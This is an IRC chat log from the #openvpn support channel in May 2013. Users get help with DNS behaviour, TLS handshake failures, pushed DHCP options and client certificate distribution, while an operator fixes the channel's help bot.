11:15 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
11:18 -!- bitg [bitg@gateway/shell/xzibition.com/x-mzfrttcjwducaoee] has joined #openvpn
11:19 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
11:27 -!- Varazir [~mircwars@c-94-255-133-27.cust.bredband2.com] has quit [Ping timeout: 248 seconds]
11:29 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Ping timeout: 260 seconds]
11:31 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
11:49 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-adktcvtoolowyqsb] has quit [Read error: Operation timed out]
11:50 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-blpkkhlsqthhyprh] has quit [Ping timeout: 240 seconds]
11:52 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-oeanihvkkjhamxwe] has quit [Ping timeout: 246 seconds]
11:52 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
12:01 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Ping timeout: 256 seconds]
12:06 -!- pjschmitt [~parker@unaffiliated/schmitt953] has quit [Ping timeout: 241 seconds]
12:08 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 245 seconds]
12:14 -!- xTz [xtz@DeathStar.Techn0.eu] has quit [Ping timeout: 240 seconds]
12:15 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
12:15 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
12:15 -!- xTz is now known as Guest98465
12:16 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
12:20 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
12:20 -!- emmanuelux [~emmanuelu@87.98.243.112] has joined #openvpn
12:25 -!- JAVACODER- [~JAVACODER@2.190.39.211] has joined #openvpn
12:28 -!- JAVACODER [~JAVACODER@2.190.32.148] has quit [Ping timeout: 256 seconds]
12:30 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
12:38 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:39 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
12:43 -!- JSharpe [~JSharpe@ns237393.ovh.net] has quit [Ping timeout: 256 seconds]
12:46 -!- JSharpe [~JSharpe@176.253.10.142] has joined #openvpn
12:48 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Read error: Connection reset by peer]
12:48 -!- jzaw_ [~jzaw@loki.dzki.co.uk] has joined #openvpn
12:49 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
12:51 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Quit: Leaving]
12:54 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
13:10 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-zqaetpmxofsmhmcm] has joined #openvpn
13:31 -!- JSharpe_ [~JSharpe@176.253.10.142] has joined #openvpn
13:33 -!- Thermi_ [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has quit [Quit: ZNC - http://znc.in]
13:35 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 256 seconds]
13:36 -!- JSharpe [~JSharpe@176.253.10.142] has quit [Ping timeout: 260 seconds]
13:36 -!- Thermi [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
13:42 < daniear> dns being acting funny
13:43 < daniear> if i had dns leaks they'd show up on wireshark wouldnt they
13:44 < pekster> "leaks" ?
13:45 < pekster> OpenVPN doesn't know anything about the traffic you send across it, thought it has some limited ability to push dhcp-options such as DNS servers. As for traffic, openvpn just delivers what's sent in to one side to the other. It couldn't care less if it's DNS, http, or random data in the IP data payload
13:45 < pekster> s/thought/though/
13:49 <@ecrist> !ping
13:49 <@vpnHelper> pong
13:49 <@ecrist> !learn ping as Only one. http://www.youtube.com/watch?v=jr0JaXfKj68
13:49 <@vpnHelper> Error: You don't have the factoids.learn capability. If you think that you should have this capability, be sure that you are identified before trying again. The 'whoami' command can tell you if you're identified.
13:49 <@ecrist> grr
13:50 < daniear> wireshark only shows udp packets
13:50 < daniear> if my dns was not going through the vpn, would wireshark show dns packets
13:50 <@ecrist> then you're doing it wrong
13:50 < pekster> !learn ping as Only one. http://www.youtube.com/watch?v=jr0JaXfKj68
13:50 <@vpnHelper> Joo got it.
13:50 < pekster> Good call
13:50 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-hxjbqyjmdahkhxcb] has joined #openvpn
13:50 <@ecrist> thanks, pekster
13:51 < pekster> daniear: Then you've defined what you mean by "leaks" poorly. There's a lot of FUD and stupidity going around reddit and the like from the clueless masses
13:51 < EugeneKay> I like gitinfo's implementation.http://jk.gs/git/bot/trigger_detail.php?trigger=ping
13:51 <@vpnHelper> Title: #git bot interface (at jk.gs)
13:51 < pekster> I don't deal in clueless; I deal with networking and in the case of this channel, openvpn
13:52 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-chwyyhhaptysuwup] has joined #openvpn
13:54 <@ecrist> I think I need to fix that damn bot
13:54 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.]
13:54 < pekster> Might be your dual hostmask
13:55 < daniear> pekster, i see
13:55 < pekster> IIRC the user db wipe/re-init was keyed off of openvpn/support or openvpn/developer, but your dual cloak might confuse it
13:56 < pekster> daniear: At a wild guess, I'm going to say that your host is using the original DNS, but then --redirect-gateway (look that up in the manpage, or see !man) is routing it across the VPN. There's no "leak" as you claim, at least not at the L2 layer. It's simply sending it to the orignal (probably your ISP?) via the VPN route
13:56 < pekster> Then again, this is all speculation given how little you've explained
13:56 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
13:56 -!- mode/#openvpn [+o vpnHelper] by ChanServ
13:56 <@ecrist> !whoami
13:56 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
13:56 -!- mode/#openvpn [+v s7r] by ChanServ
13:56 <@vpnHelper> I don't recognize you.
13:56 <@ecrist> grr
13:56 < daniear> pekster, i'm using the push option and opendns
13:57 < pekster> !opendns
13:57 <@vpnHelper> "opendns" is You should avoid using OpenDNS for pushed DNS servers as they violate spec and send you to ad/search domains for mistyped URLs. Use GoogleDNS instead. See !dns for more info.
13:57 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Client Quit]
13:57 < daniear> it's just because i'm on windows I don't 'trust' it
13:58 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
13:58 -!- mode/#openvpn [+o vpnHelper] by ChanServ
13:58 < pekster> Use what you want; I don't like using services that attempt to make a proffit by sending me to ad domains (and it interferes with some corp VPNs and such too)
13:58 <@ecrist> !whoami
13:58 <@vpnHelper> I don't recognize you.
13:58 <@ecrist> grr
13:59 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Client Quit]
14:00 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
14:00 -!- mode/#openvpn [+o vpnHelper] by ChanServ
14:01 <@ecrist> pekster, do me a favor and run: !register ecrist
14:01 < pekster> !register ecrist
14:01 <@vpnHelper> Error: That operation cannot be done in a channel.
14:01 < pekster> 1 sec
14:01 <@ecrist> thanks
14:02 <@ecrist> if it requires a password, just make one up
14:02 <@ecrist> no need to share it with me
14:03 < pekster> Try now
14:03 <@ecrist> !whoami
14:03 <@vpnHelper> I don't recognize you.
14:03 < pekster> Don't know if you need to log in then?
14:04 < pekster> Maybe you need to `identify ecrist <password>` (I'll PM ya)
14:04 <@ecrist> kk
14:04 < pekster> The register command claimed to use the hostmask too, but apparently it's not just that since it accepted the command in privmsg
14:05 <@ecrist> !whoami
14:05 <@vpnHelper> ecrist
14:05 <@ecrist> woot
14:05 <@ecrist> thanks
14:05 < pekster> Wonder if you're stuck doing that every time then?
14:05 <@ecrist> can you tell it !exit
14:05 <@ecrist> or !quit
14:05 <@ecrist> or !die
14:05 <@ecrist> (i don't recall what it needs)
14:06 <@ecrist> this is all an effort to get a hostmask the bot likes
14:06 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Quit: I'm a quitter!]
14:07 <@ecrist> grr
14:07 <@ecrist> it didn't add a hostmask
14:07 <@ecrist> back to the drawing board
14:09 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
14:09 -!- mode/#openvpn [+o vpnHelper] by ChanServ
14:09 <@ecrist> !whoami
14:09 <@vpnHelper> ecrist
14:09 <@ecrist> yes
14:09 <@ecrist> !capabilities
14:10 <@ecrist> yes
14:10 <@ecrist> thanks for the assist, pekster
14:10 <@ecrist> !die
14:10 <@ecrist> !quit
14:10 <@vpnHelper> Error: You don't have the owner capability. If you think that you should have this capability, be sure that you are identified before trying again. The 'whoami' command can tell you if you're identified.
14:10 <@ecrist> yes I do
14:10 <@ecrist> :(
14:10 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Client Quit]
14:11 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
14:11 -!- mode/#openvpn [+o vpnHelper] by ChanServ
14:13 <@ecrist> !whoami
14:13 <@vpnHelper> ecrist
14:13 <@ecrist> !quit
14:13 <@vpnHelper> Error: You don't have the owner capability. If you think that you should have this capability, be sure that you are identified before trying again. The 'whoami' command can tell you if you're identified.
14:13 <@ecrist> fucking fuck fuck
14:13 <@ecrist> !capabilities
14:13 <@ecrist> this pretty clearly states I have owner
14:13 <@ecrist> 14:13:20 <vpnHelper> [factoids.forget                                                                                                                                                 ; factoids.learn                                                                                                                                                 ; owner
14:13 <@ecrist> 14:13:21 <vpnHelper> ]
14:14 <@ecrist> whatever
14:14 -!- KaiForce [~chatzilla@107.223.70.10] has quit [Quit: ChatZilla 0.9.90 [Firefox 21.0/20130511120803]]
14:20 < DrFoo> can someone help me troubleshoot?
14:20 < DrFoo> I can't find the logs on my client.
14:20 < pekster> !logfile
14:20 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
14:23 < DrFoo> I the keys don't negotiate, but I don't know why... I have no firewall installed on my debian (server) box and have forwarded udp port 1194 to that box
14:23 < DrFoo> my previous ovpn worked... hmmm
14:24 < DrFoo> Fri May 24 15:22:25 2013 TLS Error: TLS key negotiation failed to occur within 60 seconds (check your network connectivity)
14:24 < DrFoo> Fri May 24 15:22:25 2013 TLS Error: TLS handshake failed
14:24 < DrFoo> Fri May 24 15:22:25 2013 TCP/UDP: Closing socket
14:25 < DrFoo> sorry wrong key
14:25 < DrFoo> meaning fat finger, not key file...
14:26 < pekster> Either the remote end is rejecting the connection for some reason (which would be shown in its logs) or the packets aren't arriving at the remote end, or possibly are and the reply isn't arriving at the originating end
14:26 < pekster> In any event, "no packets come back to the client" is what that error means. Firewall or misconfiguration causing the server to reject it are the likely causes
14:29 < DrFoo> http://paste.ubuntu.com/5697981/
14:30 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Ping timeout: 264 seconds]
14:36 < pekster> In the future try a different pastebin that doesn't demand I register before downloading plaintext
14:37 < pekster> (and ideally strip your comments and blanks beforehand so I don't need to do that. See !configs for grep syntax to do that inline)
14:39 < pekster> Configs look fine. Your problem remains exactly as I told you before
14:41 < DrFoo> well netcat gave me some very interesting info. I used to run my old vpn via tcp. This one is set up as udp. I changed the port forwarding in the router. However, it still keeps forwarding TCP but not UDP (even though it shows it's forwarding UDP).
14:41 < DrFoo> I'm glad I have another router that is my gateway...
14:42 -!- mattock is now known as mattock_afk
14:48 < DrFoo> OMG! This is what happens when you have too much work and not enough beer... the server is set to tcp.
14:54 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
15:15 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
15:26 -!- kubbing [~kubbing@ip-89-177-146-168.net.upcbroadband.cz] has joined #openvpn
15:28 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Ping timeout: 260 seconds]
15:37 -!- Varazir [~mircwars@c-94-255-133-62.cust.bredband2.com] has joined #openvpn
15:53 -!- JesseC [~Chumba@wsip-98-175-20-126.br.br.cox.net] has quit []
16:02 < DrFoo> OK. Things are finally working. I started the tunnel with the init script. Is this setup to start on bootup or must it be started manually each boot?
16:03 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
16:14 -!- thumbs [1000@unaffiliated/thumbs] has quit [Ping timeout: 240 seconds]
16:15 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
16:19 -!- kubbing [~kubbing@ip-89-177-146-168.net.upcbroadband.cz] has quit [Ping timeout: 246 seconds]
16:35 -!- Willis [Willis@173.234.237.131] has quit [Ping timeout: 252 seconds]
16:38 -!- Willis [Willis@173.234.237.131] has joined #openvpn
16:40 -!- troyt [~troyt@c-24-10-222-127.hsd1.ut.comcast.net] has joined #openvpn
16:50 -!- Willis [Willis@173.234.237.131] has quit [Ping timeout: 276 seconds]
16:51 -!- Willis [Willis@173.234.237.131] has joined #openvpn
16:54 -!- DrFoo [~DrFoo@c-24-34-23-78.hsd1.ma.comcast.net] has quit [Ping timeout: 248 seconds]
16:55 -!- Willis [Willis@173.234.237.131] has quit [Ping timeout: 252 seconds]
16:59 -!- Willis [Willis@173.234.237.131] has joined #openvpn
17:02 -!- matsh [divine@nanogene.org] has quit [Read error: Connection reset by peer]
17:03 -!- matsh [divine@nanogene.org] has joined #openvpn
17:05 -!- Willis [Willis@173.234.237.131] has quit [Ping timeout: 252 seconds]
17:08 -!- Willis [Willis@173.234.237.131] has joined #openvpn
17:10 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
17:40 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
18:00 -!- kubbing [~kubbing@gprs30.vodafone.cz] has joined #openvpn
18:05 -!- kubbing [~kubbing@gprs30.vodafone.cz] has quit [Read error: Connection reset by peer]
18:25 -!- paccer [uid4847@gateway/web/irccloud.com/x-kjsjiurexzkgblmt] has joined #openvpn
18:25 -!- emmanuelux [~emmanuelu@87.98.243.112] has quit [Quit: emmanuelux]
18:31 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
18:57 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
19:16 -!- raidz is now known as raidz_away
19:40 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Read error: Connection reset by peer]
20:40 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
20:40 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
20:42 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
21:05 -!- master_o1_master [~master_of@p4FF244FB.dip0.t-ipconnect.de] has joined #openvpn
21:08 -!- master_of_master [~master_of@p4FF24A05.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds]
21:25 -!- troyt [~troyt@c-24-10-222-127.hsd1.ut.comcast.net] has quit [Remote host closed the connection]
21:28 -!- suprsonic [~suprsonic@services.landonsanderson.com] has left #openvpn []
21:28 -!- t35guy [~Andrew@ip24-252-25-244.om.om.cox.net] has quit [Quit: Leaving.]
21:34 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
21:35 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
22:01 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:02 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:13 -!- thumbs [~avenger@unaffiliated/thumbs] has joined #openvpn
22:22 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 245 seconds]
22:49 < Pei> what's the command to start openvpn on a debian box?
23:06 < Poster> the init script is probably: sudo /etc/init.d/openvpn start
23:24 -!- daniear [~baobeiiii@192.73.244.224] has quit [Ping timeout: 256 seconds]
23:44 -!- newbie|4 [~tjz@67.228.240.11-static.reverse.softlayer.com] has joined #openvpn
23:45 -!- jackbrown [~se@93-44-70-69.ip96.fastwebnet.it] has joined #openvpn
23:47 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 245 seconds]
--- Day changed Sat May 25 2013
00:56 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Read error: Connection reset by peer]
00:57 -!- t35guy [~Andrew@ip24-252-25-244.om.om.cox.net] has joined #openvpn
01:02 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
01:36 -!- JAVACODER- is now known as JAVACODER
02:36 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 245 seconds]
02:50 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
03:21 < JAVACODER> haya , any body have a vpn account for a iranian user ?
03:42 -!- JackWinter [~jack@vodsl-10021.vo.lu] has quit [Read error: Connection reset by peer]
03:43 -!- JackWinter1 [~jack@vodsl-10021.vo.lu] has joined #openvpn
03:59 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
04:24 -!- i7c [~i7c@unaffiliated/i7c] has quit [Ping timeout: 252 seconds]
04:26 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
04:27 -!- i7c [~i7c@unaffiliated/i7c] has joined #openvpn
04:38 -!- jekader [~jekader@89.28.86.96] has joined #openvpn
04:43 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
04:43 -!- mode/#openvpn [+v s7r] by ChanServ
04:46 -!- i7c [~i7c@unaffiliated/i7c] has quit [Quit: oh no, why]
04:49 -!- i7c [~i7c@unaffiliated/i7c] has joined #openvpn
05:07 -!- JAVACODER [~JAVACODER@2.190.39.211] has quit [Quit: Miranda IM! Smaller, Faster, Easier. http://miranda-im.org]
05:08 -!- JAVACODER [~JAVACODER@2.190.39.211] has joined #openvpn
05:21 -!- jackbrown [~se@93-44-70-69.ip96.fastwebnet.it] has quit [Quit: Sto andando via]
05:27 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has quit [Ping timeout: 240 seconds]
05:31 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
06:03 -!- JAVACODER [~JAVACODER@2.190.39.211] has quit [Read error: Connection timed out]
06:03 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
06:08 -!- acuzio [~acuzio@unaffiliated/acuzio] has joined #openvpn
06:08 < acuzio> morning folks
06:09 < acuzio> Question: I have a openvpn server and i want to push the server LAN domain name to the client , i have scriptsecurity setup , the DNS names come through but i can't get the server DOMAIN name , no errors on any logs - what am i doing wrong , what else can i look for ?
06:09 < cnf> what do you mean, the server domain name?
06:10 < acuzio> dhcp-option DOMAIN "foo.local" i want this to be pushed to the client
06:10 < acuzio> so when connected via openvpn i can do ssh -l acuzio server.foo.local instead of using an IP address
06:11 -!- PbSO4 [~azawad@sal63-1-82-243-97-146.fbx.proxad.net] has joined #openvpn
06:11 < cnf> why would you need to push anything for that?
06:11 < cnf> as long as your DNS works
06:12 < cnf> also, don't use local, that's the zeroconfig namespace ^^;
06:13 < acuzio> hmm ok i am confused
06:13 < cnf> acuzio: from what i know, dhcp-option DOMAIN "foo.local" would make it so if you do "ssh server"
06:13 < cnf> it will make it server.foo.local
06:14 < acuzio> thats exactly what i want
06:14 < acuzio> so i can do ssh -l server and it knows to search at foo.local domain .
06:14 -!- PbSO4 [~azawad@sal63-1-82-243-97-146.fbx.proxad.net] has quit [Quit: leaving]
06:14 < cnf> well, check /etc/resolv.conf
06:15 < acuzio>  I did - /etc/resolv.conf does not contain DOMAIN foo.local , thats exactly the problem
06:15 < cnf> hmm
06:16 < acuzio> I have a setup where if i am connected via openvpn resolv.conf is generated and it overwrites the nameserver and DOMAIN but the DOMAIN directive is not getting overwritten and i don't know why
06:16 < cnf> acuzio: and the fns push is working?
06:17 < cnf> dns*
06:17 < cnf> you have push "dhcp-option DNS 1.2.3.4" set as well, right?
06:18 < acuzio> cnf: yes
06:18 < cnf> and those get filled in /etc/resolv.conf?
06:18 < acuzio> yes to both - the DNS part is working
06:18 < cnf> hmm, that is strange
06:19 -!- JAVACODER [~JAVACODER@2.190.39.211] has joined #openvpn
06:19 < cnf> acuzio: and you are not running avahi or something like that?
06:19 < acuzio> nope
06:20 < acuzio> cnf: Just to add - the /etc/resolv.conf is dynamically generated by openresolv and i am running Archlinux(latest) -
06:21 < cnf> what is openresolv?
06:22 < acuzio> Its a program that allows more than 1 program to modify /etc/resolv.conf without stepping on each others toes
06:23 < acuzio> hmm - let me try something else - back in a few  ., i have to restart my vpn connection
06:32 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 248 seconds]
06:38 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
06:44 < acuzio> nope - doesnt work
06:45 < acuzio> I even added search foo.local explicitly on /etc/resolv.conf
07:38 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Ping timeout: 252 seconds]
07:38 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
08:04 -!- kubbing_ [~kubbing@ip-89-177-146-168.net.upcbroadband.cz] has joined #openvpn
08:08 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 252 seconds]
08:21 -!- thumbs [~avenger@unaffiliated/thumbs] has quit [Ping timeout: 240 seconds]
08:30 -!- thumbs [1000@unaffiliated/thumbs] has joined #openvpn
08:44 -!- Willis [Willis@173.234.237.131] has quit [Ping timeout: 276 seconds]
08:46 -!- Willis [Willis@173.234.237.131] has joined #openvpn
08:51 < wjtaylor> for a windows vpn client, can I specify a wins server or somehow broadcast a name request over the tun connection? I don't have a windows box handy at the moment.
08:51 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
08:51 -!- Bch [~BrianC@dhcp31.signon1.uk.beevpn.com] has joined #openvpn
08:53 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
08:54 < Bch> !paste
08:54 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into pastebin or a similar website or (#2) https://gist.github.com is a recommended place to use
08:54 -!- kubbing_ [~kubbing@ip-89-177-146-168.net.upcbroadband.cz] has quit [Ping timeout: 256 seconds]
09:01 < Bch> Need to access my server on wan adresss when its connectet to openvpn. I can get it to work if i use "ip rule add from 192.168.1.150 table 10" "ip route add default via 192.168.1.1 table 10".  but then i cant get access to it when i connect to my openvpnas server which is on the same mashine
09:03 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
09:16 -!- MagisterQuis [~MagisterQ@unaffiliated/kd5pbo] has joined #openvpn
09:17 < MagisterQuis> How bad security-wise is it to just use username/password authentication?
09:20 < wjtaylor> MagisterQuis: What type of environment is this for? Home, small business, enterprise?  I wouldn't call u/n + p/w best practice.
09:21 < MagisterQuis> Home.
09:22 < wjtaylor> ok. your in the same boat as me
09:22 < MagisterQuis> As in, distribute one file to a handful of friends they can give to other people, use bsd accounts for authentication.
09:22 < wjtaylor> I would use still use keys... u/n and passwords can be given out.
09:22 < MagisterQuis> But, I'd like some sort of encriyption.
09:22 < MagisterQuis> They can, true.
09:23 < MagisterQuis> 'Course, so can keys.
09:23 < wjtaylor> u/n and p/w are sent over a secure channel I believ
09:23 < MagisterQuis> Yeah, but then is the data encrypted?
09:23 < wjtaylor> I'm assuming so, that would defeat the purpose of a vpn otherwise.
09:24 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
09:24 < wjtaylor> I don't know the tech details of ovpn, but many on here do.
09:24 < MagisterQuis> Well, no.  It'd accomplish the "put someone on another network" side of things, which is what I'm more concerned with.
09:24 < wjtaylor> It's just a quiet weekend for irc
09:25 < MagisterQuis> Yeah.
09:25 < MagisterQuis> Holiday weekend in teh US.
09:25 < MagisterQuis> the*
09:25 < wjtaylor> yup
09:25 < wjtaylor> do you not want to set up keys?
09:26 < MagisterQuis> It's not that I don't want to set them up, I'd like to make it easy to add new users.
09:26 < MagisterQuis> I guess I could script it.
09:26 < wjtaylor> I'm right with you. Here's what I was thinking.
09:27 < wjtaylor> well first, some people have mentioned xca and such, but I wanted just to get the core system running before I add on things.
09:27 < wjtaylor> but that looks like very nice cert management.
09:28 < MagisterQuis> Never heard of it.
09:28 < MagisterQuis> What is it?
09:28 < wjtaylor> are you linux?
09:28 < wjtaylor> I assume most on irc are
09:28 < MagisterQuis> Mac/Linux/BSD.
09:28 < wjtaylor> cool
09:29 < MagisterQuis> The server will run on OpenBSD.
09:29 < MagisterQuis> The clients will be who knows what
09:29 < MagisterQuis> Maybe even Windows.
09:29 < wjtaylor> in the linux repos (ubuntu/deb) there is a package called xca
09:29 < wjtaylor> !xca
09:29 < MagisterQuis> There are a significant number of windows irc users.
09:29 <@vpnHelper> "xca" is (#1) XCA is a GUI to create/manage a PKI, much more user-friendly than easy-rsa. or (#2) Example XCA PKI for OpenVPN(writeup pending): https://community.openvpn.net/openvpn/wiki/XCA
09:29 < MagisterQuis> Ah.
09:29 < MagisterQuis> You lost me with ubuntu and gui.
09:30 < wjtaylor> haha
09:30 < wjtaylor> I run ubuntu, but I am remote most of the time (hence the vpn) and want a command line script
09:30 -!- brad [~brad@ninja.so] has quit [Quit: No Ping reply in 150 seconds.]
09:30 < wjtaylor> so what I was thinking is to take the following:
09:30 -!- brad [~brad@ninja.so] has joined #openvpn
09:31 < MagisterQuis> I guess the best way would be to hack together something to take an email address, roll a config file, and email it out.
09:31 < MagisterQuis> Best (tm)
09:32 < wjtaylor> ca.crt, ta.key, client.key, client.crt and email them a strongly encrypted 7zip archive. Call them to give them the password.
09:35 < MagisterQuis> You probably want to send a config file.
09:35 < MagisterQuis> Also, I think you can inline the certs and keys in the config now.
09:35 < wjtaylor> yes and an instructions txt, so they know where to put it
09:36 < wjtaylor> Can you?
09:36 < wjtaylor> awesome
09:36 < wjtaylor> although, if your keys expire, so does your config
09:37 < MagisterQuis> Yeah.
09:37 < MagisterQuis> So you'll have to issue new keys anyways.
09:37 < MagisterQuis> If you've got it all scripted, might as well issue a new config.
09:38 < MagisterQuis> I'm thinking use the email address as the CN, script checks for it, if it's there blacklists the old key, makes a new key, emails it away.
09:38 < wjtaylor> right, but you could cron a script to find keys with a creation date within x days of expiration and either email someone, or dispatch new keys as above
09:38 < MagisterQuis> You could.
09:38 < MagisterQuis> True.
09:39 < MagisterQuis> Surely someone's done this already...
09:39 < wjtaylor> you could then cron the old key to the revoked keys fle
09:39 < wjtaylor> you would think.
09:39 < wjtaylor> We want the same thing
09:40 < wjtaylor> what would you use to install the keys/config to the proper client dir?
09:40 < MagisterQuis> That's their problem.
09:40 < wjtaylor> ha
09:40 < MagisterQuis> They get an archive containing a file or two.
09:40 < wjtaylor> quick java code could do it
09:40 < MagisterQuis> Uh, no.
09:40 < wjtaylor> :)
09:41 < MagisterQuis> Why on earth would you use java to move files around?
09:41 < wjtaylor> sorry I though you had windows in the bix
09:41 < MagisterQuis> Yeah, but I still wouldn't use Java.
09:41 < MagisterQuis> I'd use batch over java.
09:41 < wjtaylor> mac/bsd/linux
09:41 < MagisterQuis> Right.
09:41 < MagisterQuis> bash for everything but windows.
09:42 < MagisterQuis> Batch for windows.
09:42 < MagisterQuis> I've yet to find a purpose for Java.
09:42 < wjtaylor> that's why I said java... it's just one code base...overkill...but just one codebase
09:42 < MagisterQuis> If you have java installed.
09:42 < wjtaylor> true
09:42 < MagisterQuis> Flash is one code base, too.
09:42 < MagisterQuis> It's about as appropriate for the task.
09:43 < MagisterQuis> Java would work, until the next java version and then I'd have to re-write everything.
09:43 < MagisterQuis> Besides, even if it were one codebase, the directories are different.
09:43 < wjtaylor> This is very feasible with an email and host type
09:44 < wjtaylor> scan the dir tree for the proper directory
09:44 < MagisterQuis> I'd end up having to write essentially two programs in one.
09:44 < MagisterQuis> Or, let users figure it out.
09:44 < wjtaylor> who are your users, friends?
09:44 < MagisterQuis> Yeah.
09:45 < wjtaylor> haha no tech support
09:45 <@krzee> a readme should take care of it
09:45 < MagisterQuis> The idea is to be able to play games, and to have a layer of warm fuzzies on top of hotel wifi and such.
09:46 <@krzee> or rather, a config for windows and a config for other
09:46 <@krzee> since theres other stuff you'll change in there too
09:46 < wjtaylor> you can't port forward from the hoteL. Is that it?
09:46 < MagisterQuis> It'll probably end up being "Here's it for !windows.  Windows folks, figure it out."
09:46 < MagisterQuis> I just don't trust hotel networks.
09:46 < wjtaylor> your very wise
09:46 < MagisterQuis> Eventually I'll get ip over dns going.
09:47 <@krzee> MagisterQuis, IPoDNS is easy, see iodine
09:47 < wjtaylor> google, has agreements with a lot of the national chains. They're watching you, Neo.
